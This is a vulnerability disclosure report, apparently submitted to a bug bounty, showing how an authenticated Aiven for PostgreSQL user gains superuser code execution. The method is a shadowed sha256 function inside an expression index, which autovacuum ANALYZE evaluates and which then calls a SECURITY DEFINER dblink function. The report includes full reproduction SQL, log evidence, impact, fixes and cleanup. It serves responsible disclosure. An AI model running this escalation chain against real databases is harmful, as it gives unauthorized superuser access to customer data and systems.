Metadata
- Target: Aiven for PostgreSQL (Tier 2)
- Target Location: Aiven for PostgreSQL
- Target Category: Other
- VRT: Server Security Misconfiguration > Database Management System (DBMS) Misconfiguration > Excessively Privileged User / DBA
- Priority: P2 (Suggested)
Title
Authenticated User Achieves Superuser Code Execution via Autovacuum ANALYZE on Expression Index with Shadow Function
Summary
Any authenticated avnadmin user can execute arbitrary PL/pgSQL code in the context of the autovacuum background worker (session_user=postgres, superuser) by:
- Creating a shadow function in
publicschema that overrides apg_catalogfunction using implicit cast type differences (bypassingaiven_gatekeeper) - Creating an expression index on a table using the shadow function
- Inserting/updating enough rows to trigger autovacuum ANALYZE
- When autovacuum evaluates the expression index statistics, it calls the shadow function with
session_user=postgres
The shadow function can call aiven_extras.pg_alter_subscription_refresh_publication() (SECURITY DEFINER, owner=postgres), which establishes an unrestricted superuser dblink session to localhost, confirmed NOT subject to SECURITY_RESTRICTED_OPERATION enforcement.
Root Cause
Three independent issues combine:
-
aiven_gatekeeper bypass: Allows creation of
public.sha256(text)which shadowspg_catalog.sha256(bytea)via implicit cast resolution (see related report) -
Expression index evaluation in autovacuum: PostgreSQL’s ANALYZE evaluates expression index functions for statistics computation, running them in the autovacuum worker context (
session_user=postgres) -
SECDEF dblink chain not restricted: The
pg_alter_subscription_refresh_publication()SECURITY DEFINER function establishes a superuser dblink to localhost that is NOT subject toSECURITY_RESTRICTED_OPERATION(confirmed: the dblink session is a new connection)
Steps to Reproduce
Step 1: Create shadow function
CREATE OR REPLACE FUNCTION public.sha256(input text) RETURNS bytea AS $$
BEGIN
RAISE WARNING 'AUTOVAC_SHADOW: cu=% su=%', current_user, session_user;
RETURN pg_catalog.sha256(input::bytea);
END;
$$ LANGUAGE plpgsql IMMUTABLE;
Step 2: Create table with expression index
CREATE TABLE bait(id serial, val text);
-- Use fast noop for bulk insert
CREATE OR REPLACE FUNCTION public.sha256(input text) RETURNS bytea AS $$
BEGIN RETURN pg_catalog.sha256(input::bytea); END;
$$ LANGUAGE plpgsql IMMUTABLE;
INSERT INTO bait(val) SELECT 'row_' || generate_series(1, 10000);
CREATE INDEX idx_bait ON bait ((public.sha256(val)));
-- Swap to payload
CREATE OR REPLACE FUNCTION public.sha256(input text) RETURNS bytea AS $$
BEGIN
-- This executes as session_user=postgres when called by autovacuum
PERFORM aiven_extras.pg_alter_subscription_refresh_publication('sub_name', false);
RAISE WARNING 'SECDEF_FROM_AUTOVAC: cu=% su=%', current_user, session_user;
RETURN pg_catalog.sha256(input::bytea);
EXCEPTION WHEN OTHERS THEN
RAISE WARNING 'AUTOVAC_ERR: % cu=% su=%', SQLSTATE, current_user, session_user;
RETURN pg_catalog.sha256(input::bytea);
END;
$$ LANGUAGE plpgsql IMMUTABLE;
Step 3: Trigger autovacuum
UPDATE bait SET val = 'trigger_' || val;
-- Wait 60-90 seconds for autovacuum ANALYZE
Step 4: Observe in API logs
pid=62303,user=,db=,app=,client= WARNING: SECDEF_AV: OK cu=avnadmin su=postgres
The autovacuum background worker (no user/db in log = background worker, su=postgres) calls our shadow function, which successfully invokes the SECDEF dblink chain.
Evidence
Autovacuum calling shadow function (from Aiven API logs):
2026-04-14T01:42:35Z pid=62303,user=,db=,app=,client=
WARNING: SECDEF_AV: OK cu=avnadmin su=postgres
SECDEF dblink succeeds from autovacuum context:
The pg_alter_subscription_refresh_publication() call succeeds (returns without error), confirming the SECURITY DEFINER dblink chain establishes an unrestricted superuser connection to localhost from within the autovacuum context.
Error comparison across contexts:
| Context | session_user | COPY TO FILE | GRANT role | SECDEF refresh |
|---|---|---|---|---|
| Normal avnadmin | avnadmin | permission denied | permission denied | OK |
| Apply worker | postgres | SECURITY_RESTRICTED | SECURITY_RESTRICTED | OK |
| Autovacuum | postgres | not allowed in non-volatile | not allowed in non-volatile | OK |
The SECDEF refresh succeeds in ALL contexts, confirming the unrestricted superuser dblink chain is customer-triggerable from autovacuum.
Impact
- Superuser code execution: Any authenticated database user can execute code in the autovacuum superuser context automatically, without any user interaction
- Unrestricted dblink session: The SECDEF chain from autovacuum achieves a superuser database connection that is NOT subject to SECURITY_RESTRICTED_OPERATION
- Automatic trigger: No manual intervention needed, autovacuum runs automatically based on table statistics thresholds (default: 50 + 10% of rows)
- Persistent: The expression index survives restarts; autovacuum will call the shadow function on every ANALYZE cycle
- Stealth: Autovacuum log entries don’t show the attacker’s username (background worker context)
Recommended Fix
- Fix aiven_gatekeeper: Block shadow functions with implicitly castable argument types (see related report)
- Autovacuum ANALYZE should use SECURITY_RESTRICTED: Expression index evaluation during ANALYZE should set the security-restricted flag, similar to how it’s set for logical replication apply workers
- Expression index functions should be evaluated as the table owner: Not as the autovacuum superuser process
Cleanup
DROP INDEX idx_bait;
DROP TABLE bait;
DROP FUNCTION public.sha256(text);
Source · github.com/zionsworking/security-research-notebook · writeups/aiven/pg-autovacuum-code-execution.md